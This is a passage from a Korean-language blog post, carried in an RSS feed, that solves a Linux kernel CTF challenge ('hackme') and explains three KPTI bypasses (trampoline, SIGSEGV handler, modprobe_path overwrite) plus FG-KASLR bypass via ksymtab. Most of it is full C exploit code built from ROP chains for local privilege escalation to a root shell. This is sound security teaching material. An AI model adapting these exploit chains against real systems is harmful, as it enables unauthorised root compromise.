            &quot;pop user_rflags;&quot;
	    &quot;.att_syntax;&quot;);

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    for(int i = 0; i&amp;lt;sizeof(pay)/8; i++){
        printf(&quot;0x%016llx\n&quot;,pay[i]);
    }

    write(fd,pay,sizeof(pay));

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;1-2. Bypass KPTI: sigaction&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;두 번째 방법은 sigaction 구조체를 활용하는 것이다. SMAP &amp;amp; SMEP를 우회하는 익스플로잇 코드를 KPTI를 적용한 뒤 실행하면 접근할 수 없는 커널 페이지에 접근하면서 세그먼테이션 폴트가 발생한다. 이렇게 발생하는 SIGSEGV 신호를 처리하는 핸들러 함수를 등록할 수 있다. sigaction 구조체는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1719586291574&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct sigaction {
   void     (*sa_handler)(int);
   void     (*sa_sigaction)(int, siginfo_t *, void *);
   sigset_t   sa_mask;
   int        sa_flags;
   void     (*sa_restorer)(void);
};&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;sigaction 함수는 다음과 같다. 탐지할 시그널과 동작할 sigaction 구조체를 등록하는 방식이다.&lt;/p&gt;
&lt;pre id=&quot;code_1719586323789&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;signal.h&amp;gt;

int sigaction(int signum,
             const struct sigaction *_Nullable restrict act,
             struct sigaction *_Nullable restrict oldact);&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;두 번째 방법을 적용시킨 익스 코드는 다음과 같다. sigemptyset 함수는 등록된 시그널들을 초기화 시켜주는 역할을 한다. 레퍼런스에 있어서 써봤는데 없어도 문제 없이 쉘이 잘 따진다.&lt;/p&gt;
&lt;pre id=&quot;code_1719587623941&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;

void shell(){
    system(&quot;/bin/sh&quot;);
}

int main(void) {
    struct sigaction sigact;
    sigact.sa_handler = shell;
    sigemptyset(&amp;amp;sigact.sa_mask);
    sigact.sa_flags = 0;
    sigaction(SIGSEGV, &amp;amp;sigact, NULL);

    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;

    int fd = open(&quot;/dev/hackme&quot;, O_RDWR);    
    printf(&quot;fd: %d\n&quot;,fd);

    read(fd,leak,sizeof(leak));

    for(int i = 0; i&amp;lt;sizeof(leak)/8; i++){
        printf(&quot;0x%016llx\n&quot;,leak[i]);
    }
    
    canary = leak[0x10];
    printf(&quot;canary: %llx\n&quot;,canary);

    for(int i=0; i&amp;lt;sizeof(pay)/8; i++){
		pay[i] = 0x4141414141414141;
    }

    __asm__(&quot;.intel_syntax noprefix;&quot;
            &quot;mov user_cs, cs;&quot;
            &quot;mov user_ss, ss;&quot;
            &quot;mov user_sp, rsp;&quot;
            &quot;pushf;&quot;
            &quot;pop user_rflags;&quot;
	    &quot;.att_syntax;&quot;);

    uint64_t user_rip = (uint64_t) shell;
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = swapgs_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = iretq;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;1-3. Bypass KPTI: modprobe&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;세 번째 방법은 modprobe를 사용한다. modprobe는 원래 Rusty Russell이 작성한 Linux 프로그램으로 Linux 커널에 로드 가능한 커널 모듈을 추가하거나 커널에서 로드 가능한 커널 모듈을 제거하는 데 사용된다. 즉, Linux 커널에 새 모듈을 설치하거나 제거할 때 실행되는 프로그램이다. 해당 경로는 커널 전역 변수이며 기본값은 /sbin/modprobe이다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1719639484402&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본적으로 modprobe의 경로는 커널 자체의 modprobe_path 심볼 아래에 저장되며 쓰기 가능한 페이지에도 저장된다.&lt;/p&gt;
&lt;pre id=&quot;code_1719640440452&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/ # cat /proc/kallsyms | grep modprobe_path
ffffffff82061820 D modprobe_path&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;만약 알 수 없는 파일 형식의 파일을 실행하면, modprobe_path에 경로가 저장된 프로그램이 실행된다. 정확히는 시스템에서 파일 시그니처(매직 헤더)을 알 수 없는 파일에 대해 execve()를 호출하면 다음의 과정을 거처 modprobe를 호출한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;do_execve()&lt;/li&gt;
&lt;li&gt;do_execveat_common()&lt;/li&gt;
&lt;li&gt;bprm_execve()&lt;/li&gt;
&lt;li&gt;exec_binprm()&lt;/li&gt;
&lt;li&gt;search_binary_handler()&lt;/li&gt;
&lt;li&gt;request_module()&lt;/li&gt;
&lt;li&gt;call_modprobe()&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이 방법은 FG-KASLR에 영향을 받지 않기 때문에 강력하다고 한다. modprobe_path를 오버라이트하기 위해 다음과 같은 가젯들을 찾아준다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1719650136627&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat gadget | grep -E &quot;0xffffffff8100.* mov .*qword ptr.*\[(rax|rbx|rcx|rdx)\].*ret&quot;
0xffffffff8100306d : mov qword ptr [rbx], rax ; pop rbx ; pop rbp ; ret
0xffffffff81007ffc : mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret
0xffffffff81007ffb : nop ; mov qword ptr [rcx], rax ; xor eax, eax ; nop ; nop ; nop ; ret&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1719650374550&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat gadget | grep -E &quot;0xffffffff8100.* pop rbx ; ret&quot;
...
0xffffffff81006158 : pop rbx ; ret
...&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1719650218375&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat gadget | grep -E &quot;0xffffffff8100.* pop rax ; ret&quot;
0xffffffff81004d11 : pop rax ; ret
0xffffffff81004d10 : pushfq ; pop rax ; ret&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;세 번째 방법을 적용한 익스플로잇 코드는 다음과 같다. nokaslr을 kaslr으로 바꿔서 해도 잘 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1719668970809&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

uint64_t user_cs, user_ss, user_rflags, user_sp;

void get_flag(){
    system(&quot;echo '#!/bin/sh\ncp /dev/sda /tmp/flag\nchmod 777 /tmp/flag' &amp;gt; /tmp/x&quot;);
    system(&quot;chmod +x /tmp/x&quot;);

    system(&quot;echo -ne '\\xff\\xff\\xff\\xff' &amp;gt; /tmp/dummy&quot;);
    system(&quot;chmod +x /tmp/dummy&quot;);

    system(&quot;/tmp/dummy&quot;);
    system(&quot;cat /tmp/flag&quot;);
    exit(0);
}

int main(void) {
    uint64_t leak[0x30];
    uint64_t pay[0x28];
    uint64_t canary;
    uint64_t leak_addr;
    uint64_t linux_base;
    
    int fd = open(&quot;/dev/hackme&quot;, O_RDWR);    
    printf(&quot;fd: %d\n&quot;,fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf(&quot;linux_base: %llx\n&quot;,linux_base);

    uint64_t kpti_trampoline = linux_base + 0x200f10 + 22;
    uint64_t modprobe_path = linux_base + 0x1061820;
    uint64_t pop_rax = linux_base + 0x4d11;
    uint64_t pop_rbx = linux_base + 0x6158;
    uint64_t mov_rbxptr_rax_pop2 = linux_base + 0x306d;

    canary = leak[0x10];
    printf(&quot;canary: %llx\n&quot;,canary);

    for(int i=0; i&amp;lt;sizeof(pay)/8; i++){
	pay[i] = 0x4141414141414141;
    }

    __asm__(&quot;.intel_syntax noprefix;&quot;
            &quot;mov user_cs, cs;&quot;
            &quot;mov user_ss, ss;&quot;
            &quot;mov user_sp, rsp;&quot;
            &quot;pushf;&quot;
            &quot;pop user_rflags;&quot;
	    &quot;.att_syntax;&quot;);

    uint64_t user_rip = (uint64_t) get_flag;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = 0x782f706d742f; // /tmp/x
    pay[idx++] = pop_rbx;
    pay[idx++] = modprobe_path;
    pay[idx++] = mov_rbxptr_rax_pop2; 
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;2. Bypass KASLR &amp;amp; FG-KASLR&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;KASLR은 세그먼트별로 베이스 주소가 랜덤하게 부여되는 보호 기법이다. userland의 ASLR과 차이점은 적용되는 위치 커널이라는 것 뿐이다. userland에서 ASLR을 우회할 때 처럼 주소 하나를 릭해서 우회 가능하다. 하지만 이 문제에선 FG-KASLR이라는 보호기법이 적용되어 있다. FG-KASLR(Function Granular KASLR)은 KASLR의 발전된 형태라고 생각하면 된다. 함수 세분화라고 직역할 수 있는데, 영역 주소가 랜덤한 것에 더해 함수들이 무작위성을 가진다. 이 때, 함수들의 주소는 ksymtab 구조체로 관리된다. ksymtab 구조체는 3개의 멤버로 이루어져 있다. 이 중 value_offset이라는 값이 중요하다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1719670290890&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;심볼에선 __ksymtab으로 시작하는 주소를 찾으면 된다. value_offset은 __ksymtab_prepare_kernel_cred에 저장된다.&lt;/p&gt;
&lt;pre id=&quot;code_1719670392306&quot; class=&quot;shell&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff9fd2c250 T prepare_kernel_cred
ffffffffa078d4fc r __ksymtab_prepare_kernel_cred
ffffffffa07a09b2 r __kstrtab_prepare_kernel_cred
ffffffffa07a4d42 r __kstrtabns_prepare_kernel_cred&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KPTI를 modprobe로 우회했을 때는 prepare_kernel_cred를 사용하지 않아서 신경 쓸 필요 없지만, prepare_kernel_cred를 사용하게 된다면 ksymtab에 있는 value_offset 값을 이용해 함수 주소를 계산해줘야 한다. 주소 계산은 value_offset 값을 커널 영역에서 가져온 다음 유저 영역에서 계산해주게 된다. 따라서 메모리의 값을 읽어서 가져오는 가젯이 필요하다.&lt;/p&gt;
&lt;pre id=&quot;code_1719674871021&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ cat gadget | grep -E &quot;0xffffffff810.*mov r.*qword ptr.*ret&quot;
...
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
...&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;최종 익스플로잇 코드는 다음과 같다. LPE에 필요한 2개 함수 주소를 구한 뒤 ret2usr를 수행하는 rop를 수행하는 코드다.&lt;/p&gt;
&lt;pre id=&quot;code_1719743311698&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t kpti_trampoline;
uint64_t modprobe_path;
uint64_t prepare_kernel_cred;
uint64_t commit_creds;
uint64_t pop_rax;
uint64_t pop_rbx;
uint64_t pop_rdi;
uint64_t mov_rdi_rax_pop1;
uint64_t mov_rbxptr_rax_pop2;
uint64_t mov_rax_raxptr_pop1;
uint64_t linux_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;

int fd;
uint64_t value_offset;
uint64_t leak[0x30];
uint64_t pay[0x28];
uint64_t canary;
uint64_t leak_addr;

void get_prepare_kernel_cred_offset(void);
void get_prepare_kernel_cred(void);
void get_commit_creds_offset(void);
void get_commit_creds(void);
void exploit(void);

void shell(){
    system(&quot;/bin/sh&quot;);
}

void get_prepare_kernel_cred_offset(){
    uint64_t user_rip = (uint64_t) get_prepare_kernel_cred;
    
    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_prepare_kernel_cred;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_prepare_kernel_cred(){
    __asm__(
        &quot;.intel_syntax noprefix;&quot;
        &quot;mov value_offset, rax;&quot;
        &quot;.att_syntax;&quot;
    );

    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)value_offset;
    printf(&quot;prepare_kernel_cred: %llx\n&quot;,prepare_kernel_cred);
    get_commit_creds_offset();
}

void get_commit_creds_offset(){
    uint64_t user_rip = (uint64_t) get_commit_creds;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rax; // ret
    pay[idx++] = ksymtab_commit_creds;
    pay[idx++] = mov_rax_raxptr_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

void get_commit_creds(){
    __asm__(
        &quot;.intel_syntax noprefix;&quot;
        &quot;mov value_offset, rax;&quot;
        &quot;.att_syntax;&quot;
    );

    commit_creds = ksymtab_commit_creds + (int)value_offset;
    printf(&quot;commit_creds: %llx\n&quot;,commit_creds);
    exploit();
}

void exploit(){
    uint64_t user_rip = (uint64_t) shell;

    int idx = 0x10;
    pay[idx++] = canary;
    pay[idx++] = 0x0; // rbx
    pay[idx++] = 0x0; // r12
    pay[idx++] = 0x0; // rbp
    pay[idx++] = pop_rdi; // ret
    pay[idx++] = 0x0;
    pay[idx++] = prepare_kernel_cred;
    pay[idx++] = mov_rdi_rax_pop1;
    pay[idx++] = 0x0;
    pay[idx++] = commit_creds;
    pay[idx++] = kpti_trampoline;
    pay[idx++] = 0x0;
    pay[idx++] = 0x0;
    pay[idx++] = user_rip;
    pay[idx++] = user_cs;
    pay[idx++] = user_rflags;
    pay[idx++] = user_sp;
    pay[idx++] = user_ss;

    write(fd,pay,sizeof(pay));
}

int main(void) {
    fd = open(&quot;/dev/hackme&quot;, O_RDWR);    
    printf(&quot;fd: %d\n&quot;,fd);

    read(fd,leak,sizeof(leak));

    leak_addr = leak[0x26];
    linux_base = leak_addr - 0xa157;
    printf(&quot;linux_base: %llx\n&quot;,linux_base);

    kpti_trampoline = linux_base + 0x200f10 + 22;
    modprobe_path = linux_base + 0x1061820;
    pop_rax = linux_base + 0x4d11;
    pop_rbx = linux_base + 0x6158;
    pop_rdi = linux_base + 0x6370;
    mov_rdi_rax_pop1 = linux_base + 0xaedf;
    mov_rbxptr_rax_pop2 = linux_base + 0x306d;
    mov_rax_raxptr_pop1 = linux_base + 0x15a7f;
    ksymtab_prepare_kernel_cred = linux_base + 0xf8d4fc;
    ksymtab_commit_creds = linux_base + 0xf87d90;

    canary = leak[0x10];
    printf(&quot;canary: %llx\n&quot;,canary);

    __asm__(&quot;.intel_syntax noprefix;&quot;
            &quot;mov user_cs, cs;&quot;
            &quot;mov user_ss, ss;&quot;
            &quot;mov user_sp, rsp;&quot;
            &quot;pushf;&quot;
            &quot;pop user_rflags;&quot;
            &quot;.att_syntax;&quot;);

    get_prepare_kernel_cred_offset();

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: justify;&quot; data-ke-size=&quot;size26&quot;&gt;3. Conclusion&lt;/h2&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;이렇게 다양한 보호 기법을 우회하는 문제에 대해 풀어봤다. 향후에는 힙과 관련된 CTF 문제와 실제 모듈에서 발생한 취약점들에 대한 CVE들에 대해 공부해보려 한다.&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style3&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#kpti&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/&lt;/a&gt;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>ssongk</author>
      <guid isPermaLink="true">https://ssongkit.tistory.com/821</guid>
      <comments>https://ssongkit.tistory.com/821#entry821comment</comments>
      <pubDate>Sun, 30 Jun 2024 19:29:57 +0900</pubDate>
    </item>
  </channel>
</rss>